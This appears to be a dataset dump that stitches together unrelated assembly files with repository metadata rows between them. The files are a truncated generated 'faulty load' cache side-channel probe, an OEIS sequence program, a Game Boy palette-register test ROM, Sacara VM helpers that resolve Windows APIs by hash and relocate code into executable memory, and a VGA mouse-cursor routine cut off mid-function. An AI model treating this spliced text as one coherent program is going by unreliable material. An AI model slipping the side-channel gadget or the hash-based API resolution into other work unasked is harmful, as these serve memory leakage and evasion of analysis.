add $60085, %rax
movb $0x51, (%r10)
nop
cmp $12025, %r11
// Load
mov $0x31366b0000000d0c, %r10
nop
nop
sub %r12, %r12
movb (%r10), %al
nop
nop
xor $21439, %rsi
// Load
lea addresses_A+0xc58c, %r11
clflush (%r11)
nop
nop
nop
nop
nop
xor $40645, %r10
movntdqa (%r11), %xmm6
vpextrq $1, %xmm6, %rax
nop
nop
nop
add $38143, %rax
// Store
lea addresses_D+0x1755c, %r9
nop
nop
nop
nop
nop
add $19216, %r10
movb $0x51, (%r9)
nop
cmp $56586, %rax
// Faulty Load
mov $0x31366b0000000d0c, %r11
clflush (%r11)
nop
nop
nop
xor %r12, %r12
movups (%r11), %xmm2
vpextrq $0, %xmm2, %rax
lea oracles, %rsi
and $0xff, %rax
shlq $12, %rax
mov (%rsi,%rax,1), %rax
pop %rsi
pop %rax
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'00': 15588}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.251969
| 2,999
| 0.651489
|
ff224e8b235d03b7bc9f6c8409866246916fda01
| 762
|
asm
|
Assembly
|
oeis/039/A039724.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/039/A039724.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/039/A039724.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A039724: Numbers in base -2.
; Submitted by Jon Maiga
; 0,1,110,111,100,101,11010,11011,11000,11001,11110,11111,11100,11101,10010,10011,10000,10001,10110,10111,10100,10101,1101010,1101011,1101000,1101001,1101110,1101111,1101100,1101101,1100010,1100011,1100000,1100001,1100110,1100111,1100100,1100101,1111010,1111011,1111000,1111001,1111110,1111111,1111100,1111101,1110010,1110011,1110000,1110001,1110110,1110111,1110100,1110101,1001010,1001011,1001000,1001001,1001110,1001111,1001100,1001101,1000010,1000011,1000000,1000001,1000110,1000111,1000100,1000101
seq $0,5351 ; Base -2 representation for n regarded as base 2, then evaluated.
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
| 108.857143
| 501
| 0.816273
|
5a9a71ad0c6a7f75989c9e6dad6f03752a41cf63
| 4,039
|
asm
|
Assembly
|
src/gbc/cps_inc_overflow.asm
|
Hacktix/TixTest-GB
|
5aba36df2dd8355e88b6a99bd7956041ff5f24ba
|
[
"MIT"
] | 5
|
2021-04-23T11:23:08.000Z
|
2021-12-27T12:36:26.000Z
|
src/gbc/cps_inc_overflow.asm
|
Hacktix/TixTest-GB
|
5aba36df2dd8355e88b6a99bd7956041ff5f24ba
|
[
"MIT"
] | null | null | null |
src/gbc/cps_inc_overflow.asm
|
Hacktix/TixTest-GB
|
5aba36df2dd8355e88b6a99bd7956041ff5f24ba
|
[
"MIT"
] | null | null | null |
; ===== Makefile Headers =====
; MBC 0x00
; RAM 0x00
INCLUDE "hardware.inc"
INCLUDE "font.inc"
INCLUDE "common.inc"
BCPS_LABEL_ADDR_BASE EQU $9821
OCPS_LABEL_ADDR_BASE EQU $9861
SECTION "Header", ROM0[0]
ds $100 - @
SECTION "Test", ROM0[$100]
EntryPoint::
jr Main
ds $150 - @
;----------------------------------------------------------------------------
; This test ROM verifies the behavior of the BCPS and OCPS registers when
; automatic increments are enabled and the CPS register contains the highest
; possible value while the corresponding CPD register is written to.
;
; CPS registers should wrap around, resulting in the next write to the CPD
; register affecting palette 0.
;----------------------------------------------------------------------------
Main::
; Wait for VBlank
ld a, [rLY]
cp SCRN_Y
jr c, Main
; Disable LCD
xor a
ldh [rLCDC], a
; Load Font Data into VRAM
call LoadFont
; Initialize Palette Loading
ld a, BCPSF_AUTOINC
ldh [rBCPS], a
ldh [rOCPS], a
; Test BG Palettes
ld hl, wReadBCPS
ld c, LOW(rBCPD)
call RunTest
ld c, LOW(rOCPD)
call RunTest ; HL is at wReadOCPS at this point
; Write BCPS Label to Screen and preserve Pointer for Result String
ld hl, BCPS_LABEL_ADDR_BASE
ld de, strLabelBCPS
call Strcpy
dec hl
push hl
; Check BCPS Results and display result
ld hl, wReadBCPS
call CheckResults
jr z, .passBCPS
ld de, strFail
jr .printResultBCPS
.passBCPS
ld de, strPass
.printResultBCPS
pop hl
call Strcpy
; Write OCPS Label to Screen and preserve Pointer for Result String
ld hl, OCPS_LABEL_ADDR_BASE
ld de, strLabelOCPS
call Strcpy
dec hl
push hl
; Check OCPS Results and display result
ld hl, wReadOCPS
call CheckResults
jr z, .passOCPS
ld de, strFail
jr .printResultOCPS
.passOCPS
ld de, strPass
.printResultOCPS
pop hl
call Strcpy
; Reset BG Palette 0 to Display Results
ld a, BCPSF_AUTOINC
ldh [rBCPS], a
ld hl, palResults
ld c, LOW(rBCPD)
call LoadPalette
; Re-enable LCD
ld a, LCDCF_ON | LCDCF_BGON
ldh [rLCDC], a
; Lock Up
jr @
;----------------------------------------------------------------------------
; Reads the state of the selected CPS register and stores it in memory, then
; writes to the CPD register to increment the CPS register.
;----------------------------------------------------------------------------
RunTest::
; Write to XCPD and read from XCPS 2*4*9 times
; 2 Writes per Color
; 4 Colors per Palette
; 9 Palettes (To cause XCPS Overflow)
ld b, 2*4*9
.testLoop
; Read from XCPS and reset C to XCPD
dec c
ldh a, [$ff00+c]
inc c
; Write to XCPD and Memory
ldh [$ff00+c], a
ld [hli], a
; Check if enough writes have occurred
dec b
jr nz, .testLoop
ret
;----------------------------------------------------------------------------
; Checks 0x48 bytes in memory starting at HL for a series of incrementing
; values with the upper 2 bits always set to 1, as XCPS registers only
; contain 6-bit values.
;----------------------------------------------------------------------------
CheckResults::
; $C0 - Initial Value for XCPS registers
; $48 - Size of memory region to check
ld bc, $C048
.checkLoop
; Load Value from HL, compare to B
ld a, [hli]
cp b
jr nz, .failedCheck
; Increment B, keep bits 6 & 7 high
ld a, b
inc a
or $C0
ld b, a
; Check if end of values is reached
dec c
jr nz, .checkLoop
.passedCheck
xor a ; Set Zero Flag
ret
.failedCheck
rla ; Reset Zero Flag
ret
SECTION "Strings", ROM0
strLabelBCPS: db "BG Palette: ", 0
strLabelOCPS: db "OBJ Palette: ", 0
strPass: db "OK!", 0
strFail: db "Fail!", 0
SECTION "Palettes", ROM0
palResults: dw $FFFF, $0000, $0000, $0000
SECTION "WRAM", WRAM0
wReadBCPS: ds 2*4*9
wReadOCPS: ds 2*4*9
| 22.071038
| 77
| 0.574895
|
c8d75ee7e8da8a73ffcec7b7b057e141bbd151bb
| 10,399
|
asm
|
Assembly
|
Src/SacaraVm/utility.asm
|
mrfearless/sacara
|
126ee1c8c18c9d01a09fac4aedd9044976cf17c4
|
[
"MIT"
] | null | null | null |
Src/SacaraVm/utility.asm
|
mrfearless/sacara
|
126ee1c8c18c9d01a09fac4aedd9044976cf17c4
|
[
"MIT"
] | null | null | null |
Src/SacaraVm/utility.asm
|
mrfearless/sacara
|
126ee1c8c18c9d01a09fac4aedd9044976cf17c4
|
[
"MIT"
] | null | null | null |
; *****************************
; arguments: size to alloc
; *****************************
heap_alloc PROC
push ebp
mov ebp, esp
sub esp, 8
; allocate space in the heap for the stack of the entry function
push hash_kernel32_dll
call find_module_base
mov [ebp+local0], eax ; save kernel32 base
push hash_ntdll_dll
call find_module_base
mov [ebp+local1], eax ; save ntdll base
push hash_GetProcessHeap
push [ebp+local0]
call find_exported_func
; call GetProcessHeap
call eax
; push HeapAlloc arguments
push [ebp+arg0] ; size
push HEAP_ZERO_MEMORY
push eax ; process heap
; resolve function
push hash_RtlAllocateHeap
push [ebp+local1]
call find_exported_func
; call HeapAlloc
call eax
mov esp, ebp
pop ebp
ret 4h
heap_alloc ENDP
; *****************************
; arguments: memory
; *****************************
heap_free PROC
push ebp
mov ebp, esp
sub esp, 8
; find kernel32
push hash_kernel32_dll
call find_module_base
mov [ebp+local0], eax ; save kernel32 base
; find ntdll
push hash_ntdll_dll
call find_module_base
mov [ebp+local1], eax ; save ntdll base
; call GetProcessHeap
push hash_GetProcessHeap
push [ebp+local0]
call find_exported_func
call eax
; push HeapAlloc arguments
push [ebp+arg0] ; addr to free
push 0h ; flag
push eax ; process heap
; call RtlFreeHeap
push hash_RtlFreeHeap
push [ebp+local1]
call find_exported_func
call eax
mov esp, ebp
pop ebp
ret 04h
heap_free ENDP
; *****************************
; arguments: start_memory, size, opcode
; *****************************
find_vm_handler PROC
push ebp
mov ebp, esp
mov edi, [ebp+arg0] ; memory
mov ecx, [ebp+arg1] ; size
search_header_loop:
; search the first marker
cmp dword ptr [edi], marker1
je first_marker_found
inc edi
loopne search_header_loop
jne not_found
first_marker_found:
; check the second hardcoded marker
add edi, 4
cmp dword ptr [edi], marker2
jne search_header_loop
; function header found, read the number of supported opcode
mov eax, edi
add eax, 4
push ecx ; save outer loop counter
mov edx, [eax] ; read the number of possible opcodes
mov ecx, edx ; set the loop counter
; search for the given opcode
mov esi, [ebp+arg2] ; opcode to search for
xor esi, INIT_OPCODE_HEADER_XOR_KEY
add si, dx
search_opcode_loop:
add eax, 4
cmp [eax], esi
loopne search_opcode_loop
; jump if this is not the header that we are searching for
pop ecx ; restore outer loop counter
jne search_header_loop
; function found, save the read address in EAX
; EDI contains the address of marker2
lea eax, [edi+TYPE DWORD*edx+8]
jmp found
not_found:
xor eax, eax
found:
mov esp, ebp
pop ebp
ret 0Ch
find_vm_handler ENDP
; *****************************
; arguments: memory, size
; *****************************
hash_string proc
push ebp
mov ebp, esp
sub esp, 4
xor eax, eax
mov esi, [ebp+arg0] ; memory
mov ecx, [ebp+arg1] ; size
mov dword ptr [ebp+local0], 0h
hash_loop:
cmp byte ptr [esi], 0
je loop_epilogue
; hash * memory[i]
mov edx, eax
movzx ebx, byte ptr [esi]
; to uppercase if needed
cmp ebx, 'a'
jb hash_iteration
cmp ebx, 'z'
ja hash_iteration
and bl, 11011111b ; clar bit 5
hash_iteration:
push esi ;save value
mov esi, ebx
xor esi, [ebp+local0]
inc dword ptr [ebp+local0]
add edx, ebx
push eax
mov eax, edx
mov edx, 400h
mul edx
mov edx, eax
pop eax
mov ebx, edx
ror ebx, 6
xor edx, ebx
mov eax, edx
xor eax, esi
pop esi ; restore value
loop_epilogue:
inc esi
loop hash_loop
exit:
mov esp, ebp
pop ebp
ret 8
hash_string endp
; *****************************
; arguments: modulo hash
; *****************************
find_module_base proc
push ebp
mov ebp, esp
sub esp, 8h
assume fs:nothing
mov eax, fs:[30h] ; PEB
assume fs:error
; get head module list
mov eax, [eax+0ch] ; Ldr
mov eax, [eax+14h] ; InMemoryOrderModuleList entry
mov [ebp+local0], eax ; head
mov [ebp+local1], eax ; cur entry
find_module_loop:
; get module name
lea edi, [eax+1Ch] ; UNICODE_STRING FullDllName
; find the last '/' character
movzx ecx, word ptr [edi] ; get the string length in bytes
lea edi, [edi+4] ; point to the unicode buffer
mov edi, [edi]
add edi, ecx ; point to the end of the string
std ; scan backward
; scan memory for char
xor eax, eax
mov al, 5ch
mov esi, edi
repnz scasb ; scan to find the char '\'
cld
jnz compute_length
inc edi
inc edi
compute_length:
sub esi, edi ; compute module basename length
; compute hash of the module base name
push esi
push edi
call hash_string
; check if module hash is equals
cmp eax, [ebp+arg0]
je module_found
mov eax, [ebp+local1] ; cur entry
mov eax, [eax] ; go to next entry
mov [ebp+local1], eax
cmp [ebp+local0], eax
jne find_module_loop
xor eax, eax
jmp module_not_found
module_found:
mov eax, [ebp+local1] ; cur entry
mov eax, [eax+10h] ; DllBase
module_not_found:
mov esp, ebp
pop ebp
ret 4
find_module_base endp
; *****************************
; arguments: dll base, function name hash
; *****************************
find_exported_func PROC
push ebp
mov ebp, esp
sub esp, 0Ch
; check MZ signature
mov ebx, [ebp+arg0] ; DLL base
mov ax, word ptr [ebx]
cmp ax, 'ZM'
jnz error
; check PE signature
lea ebx, [ebx+03Ch]
mov ebx, [ebx]
add ebx, [ebp+arg0]
mov ax, word ptr [ebx]
cmp ax, 'EP'
jnz error
; go to Export table address
mov edx, [ebx+078h] ; Virtual Address
test edx, edx
jz error
; add base address to compute IMAGE_EXPORT_DIRECTORY
add edx, [ebp+arg0]
mov ecx, [edx+014h] ; NumberOfFunctions
; save index
xor eax, eax
mov [ebp+local0], edx ; save IMAGE_EXPORT_DIRECTORY
mov [ebp+local1], eax ; save index
function_name_loop:
mov [ebp+local2], ecx ; save loop counter
mov edx, [ebp+local0] ; IMAGE_EXPORT_DIRECTORY
mov ebx, [ebp+local1] ; index
; get the i-th function name
mov esi, [edx+020h] ; AddressOfNames RVA
add esi, [ebp+arg0] ; AddressOfNames VA
lea esi, [esi+TYPE DWORD*ebx] ; point to the current index
mov edi, [esi] ; function name RVA
add edi, [ebp+arg0] ; function name VA
; scan to find the NULL char
xor eax, eax
mov esi, edi
mov ecx, 512h
repnz scasb
; compute name length
sub edi, esi
dec edi
; compute function name hash
push edi
push esi
call hash_string
; compare hash
cmp eax, [ebp+arg1]
je function_name_found
; go to next name pointer
inc dword ptr [ebp+local1]
mov ecx, [ebp+local2]
loop function_name_loop
jmp error
function_name_found:
mov edx, [ebp+local0] ; IMAGE_EXPORT_DIRECTORY
mov ebx, [ebp+local1] ; index
; get the i-th function ordinal
mov esi, [edx+024h] ; AddressOfNameOrdinals RVA
add esi, [ebp+arg0] ; AddressOfNameOrdinals VA
lea esi, [esi+TYPE WORD*ebx] ; point to the current index
movzx eax, word ptr [esi] ; ordinal
; get the i-th function address
mov esi, [edx+01Ch] ; AddressOfFunctions RVA
add esi, [ebp+arg0] ; AddressOfFunctions VA
lea esi, [esi+TYPE DWORD*eax] ; point to the current index
mov eax, [esi] ; function addr RVA
add eax, [ebp+arg0] ; function addr VA
jmp finish
error:
xor eax, eax
finish:
mov esp, ebp
pop ebp
ret 8
find_exported_func ENDP
; *****************************
; arguments: XOR key, dword
; *****************************
decode_dword PROC
push ebp
mov ebp, esp
; get XOR key
mov ecx, [ebp+arg0]
; read dword to encode
mov eax, [ebp+arg1]
; step 1 XOR to get original second byte
xor al, ah
; step 2 ror
ror eax, 10h
; step 3 save value second byte
xor cl, al
shl cx, 8h
; step 4 shlr
mov ebx, eax
shr ebx, 18h
shrd ax, bx, 8h
; step 5 hardcoded XOR
xor ax, 0B9D3h
; compose final value
and eax, 0FFFFFFh
shl ecx, 10h
or eax, ecx
mov esp, ebp
pop ebp
ret 8
decode_dword ENDP
; *****************************
; arguments: XOR key, dword
; *****************************
encode_dword PROC
push ebp
mov ebp, esp
; get XOR key
mov ecx, [ebp+arg0]
; read dword to encode
mov eax, [ebp+arg1]
; step 1 hardcoded XOR
xor ax, 0B9D3h
; step 2 xor SP
mov ebx, eax
shr ebx, 018h
xor bx, cx
shl bx, 8h
; step 3 SHLD
mov si, ax ; save AX
shr si, 8h ; save only first 2 bytes
shld ax, bx, 8h
; step 4 XOR missed bytes with third and four bytes
mov edx, eax
shr edx, 10h
xor dx, si
; compose final value
shl esi, 08h
mov dh, 0h
or dx, si
shl eax, 10h
or ax, dx
mov esp, ebp
pop ebp
ret 8
encode_dword ENDP
; *****************************
; arguments: func addr
; *****************************
relocate_code PROC
push ebp
mov ebp, esp
sub esp, 10h
; search the function footer
mov edi, [ebp+arg0]
mov ecx, 2018h ; dummy max value to search for
search_marker2:
cmp dword ptr [edi], marker2
je search_marker1
inc edi
loopne search_marker2
jne not_found
; verify if it is followed by marker1
search_marker1:
add edi, TYPE DWORD
cmp dword ptr [edi], marker1
jne search_marker2
; compute function length
lea edi, [edi-TYPE DWORD]
mov eax, [ebp+arg0]
sub edi, eax
mov [ebp+local0], edi
; find kernelbase addr
push hash_kernelbase_dll
call find_module_base
mov [ebp+local1], eax
; allocate memory
push hash_VirtualAlloc
push [ebp+local1]
call find_exported_func
test eax, eax
je not_found
; call VirtualAlloc
push PAGE_READWRITE
push MEM_COMMIT
push [ebp+local0]
push 0h
call eax
test eax, eax
je not_found
mov [ebp+local3], eax
; copy memory
mov esi, [ebp+arg0]
mov edi, [ebp+local3]
mov ecx, [ebp+local0]
rep movsb
; set exec flag
push hash_VirtualProtect
push [ebp+local1]
call find_exported_func
test eax, eax
je not_found
; call VirtualProtect
lea ebx, [ebp+local0]
push ebx
push PAGE_EXECUTE_READ
push [ebp+local0]
push [ebp+local3]
call eax
test eax, eax
je not_found
jmp found
not_found:
xor eax, eax
found:
mov eax, [ebp+local3]
mov esp, ebp
pop ebp
ret 04h
relocate_code ENDP
; *****************************
; arguments: func addr
; *****************************
free_relocated_code PROC
push ebp
mov ebp, esp
sub esp, 8
; find kernelbase addr
push hash_kernelbase_dll
call find_module_base
mov [ebp+local0], eax
test eax, eax
je finish
; free memory
push hash_VirtualFree
push [ebp+local0]
call find_exported_func
test eax, eax
je finish
; call VirtualFree
push MEM_RELEASE
push 0h
push [ebp+arg0]
call eax
finish:
mov esp, ebp
pop ebp
ret 04h
free_relocated_code ENDP
| 18.18007
| 65
| 0.670257
|
5e4bfba269d1d60be99fe94141c0c2acef363c88
| 6,563
|
asm
|
Assembly
|
x86/graphics.asm
|
encse/bootloader
|
dc6cfbd01fe6e1e3ecb1b0863bdfe9be95121de1
|
[
"MIT"
] | 16
|
2021-01-31T20:58:01.000Z
|
2021-02-06T09:28:37.000Z
|
x86/graphics.asm
|
encse/bootloader
|
dc6cfbd01fe6e1e3ecb1b0863bdfe9be95121de1
|
[
"MIT"
] | 1
|
2022-03-27T06:38:25.000Z
|
2022-03-27T06:38:25.000Z
|
x86/graphics.asm
|
encse/bootloader
|
dc6cfbd01fe6e1e3ecb1b0863bdfe9be95121de1
|
[
"MIT"
] | 1
|
2022-02-02T22:08:50.000Z
|
2022-02-02T22:08:50.000Z
|
;; Graphics memory start address
%assign Graphics.Vga 0xa000
;; 320 x 200, 256 color mode
%assign Graphics.VideoMode 0x13
;; Function:
;; turn on graphics mode
proc Graphics.init
begin
mov ax, Graphics.VideoMode
int 0x10
endproc
;; Function:
;; set vga palette
proc Graphics.setPalette
%arg rgbyPalette:word ; near pointer to palette with 256 * 3 bytes of R, G, B colors
begin
push bx
push di
mov di, [rgbyPalette]
; palette index
xor bx, bx
.loop:
; red
mov dh, [di]
inc di
; green
mov ch, [di]
inc di
; blue
mov cl, [di]
inc di
; set DAC Color Register
mov ax, 0x1010
int 0x10
inc bx
cmp bx, 256
jl .loop
.ret:
pop di
pop bx
endproc
;; Function:
;; Set the color of (x,y) to the given color in a mouse-aware way.
proc Graphics.setPixel
%arg wX:word
%arg wY:word
%arg wColor:word ; 0 - 255
begin
push es
push bx
push di
push si
; check if x and y are valid coordinates
mov bx, word [wX]
cmp bx, 320
jge .ret
cmp bx, 0
jl .ret
mov ax, word [wY]
cmp ax, 200
jge .ret
cmp ax, 0
jl .ret
mov cx, 320
mul cx
add ax, bx
mov di, ax
mov cx, [wColor]
; check if x and y is in the mouse rectangle,
; if yes, need to update the underlying area
mov ax, word [wY]
mov dx, [Mouse.wMouseY]
sub ax, dx
mov bx, ax
mov ax, word [wX]
mov dx, [Mouse.wMouseX]
sub ax, dx
cmp bx, 0
jl .draw
cmp bx, Graphics.cursorHeight
jge .draw
cmp ax, 0
jl .draw
cmp ax, Graphics.cursorWidth
jge .draw
xchg ax, bx
mov dx, Graphics.cursorWidth
mul dx
add ax, bx
mov si, ax
mov byte [Graphics.rgbyAreaUnderCursor + si], cl
; check if mouse is transparent at the given index, don't draw if not transparent
mov al, [Graphics.rgbyCursorShape + si]
cmp al, 0
jnz .ret
.draw:
push Graphics.Vga
pop es
mov byte [es:di], cl
.ret:
pop si
pop di
pop bx
pop es
endproc
;; Function:
;; Restores the area that was covered by the mouse
proc Graphics.hideCursor
%local wIcolScreen:word
%local wIrowScreen:word
%local wIcol:word
%local wIrow:word
begin
push bx
push di
push si
push es
; es = Vga
push Graphics.Vga
pop es
mov ax, [Mouse.wMouseX]
mov [wIcolScreen], ax
mov ax, [Mouse.wMouseY]
mov [wIrowScreen], ax
xor ax, ax
mov [wIcol], ax
mov [wIrow], ax
.loop:
; check that the destination is within screen limits
mov ax, [wIcolScreen]
cmp ax, 320 ; 0 <= wIcolScreen < 320
jge .afterDraw
mov ax, [wIrowScreen]
cmp ax, 200 ; 0 <= wIrowScreen < 200
jge .afterDraw
; we are good to draw, let's compute si and di
mov bx, 320
mul bx
add ax, [wIcolScreen]
; di: target
mov di, ax
mov ax, [wIrow]
mov bx, Graphics.cursorWidth
mul bx
add ax, [wIcol]
; si: src
mov si, ax
; get color and draw
mov cl, byte [Graphics.rgbyAreaUnderCursor + si]
mov byte [es:di], cl
.afterDraw:
; increment icol
mov ax, [wIcol]
inc ax
cmp ax, Graphics.cursorWidth
jge .nextRow
; set icol and icolScreen
mov [wIcol], ax
mov ax, [wIcolScreen]
inc ax
mov [wIcolScreen], ax
jmp .loop
.nextRow:
; reset icol and icolScreen
xor ax, ax
mov [wIcol], ax
mov ax, [Mouse.wMouseX]
mov [wIcolScreen], ax
; increment irow
mov ax, [wIrow]
inc ax
cmp ax, Graphics.cursorHeight
jge .endLoop
; set irow and irowScreen
mov [wIrow], ax
mov ax, [wIrowScreen]
inc ax
mov [wIrowScreen], ax
jmp .loop
.endLoop:
pop es
pop si
pop di
pop bx
endproc
;; Function:
;; Draws the mouse cursor to the screen saving the area that
;; is under the mouse so that we can restore it later when the
;; cursor moves or disappears.
proc Graphics.drawCursor
%arg wIcolScreen:word
%arg wIrowScreen:word
%arg wIcol:word
%arg wIrow:word
begin
push es
push di
push si
push bx
; es = VGA
push Graphics.Vga
pop es
; wIcolScreen = Mouse.wMouseX
mov ax, [Mouse.wMouseX]
mov [wIcolScreen], ax
; wIrowScreen = Mouse.wMouseY
mov ax, [Mouse.wMouseY]
mov [wIrowScreen], ax
xor ax, ax
; wIcol = 0
mov [wIcol], ax
; wIrow = 0
mov [wIrow], ax
.loop:
; check that the destination is within screen limits
; 0 <= wIcolScreen < 320 ?
mov ax, [wIcolScreen]
cmp ax, 320 ; 0 <= wIcolScreen < 320
jge .afterDraw
; 0 <= wIrowScreen < 320 ?
mov ax, [wIrowScreen]
cmp ax, 200 ; 0 <= wIrowScreen < 200
jge .afterDraw
; we are good to draw, let's compute si and di
mov bx, 320
mul bx
add ax, [wIcolScreen]
; di: target
mov di, ax
mov ax, [wIrow]
mov bx, Graphics.cursorWidth
mul bx
add ax, [wIcol]
; si: src
mov si, ax
; save original screen color
mov cl, byte [es:di]
mov byte [Graphics.rgbyAreaUnderCursor + si], cl
; get color from cursor shape
mov cl, byte [Graphics.rgbyCursorShape + si]
; skip if transparent
cmp cl, 0
jz .afterDraw
; draw to screen
mov byte [es:di], cl
.afterDraw:
; increment wIcol
mov ax, [wIcol]
inc ax
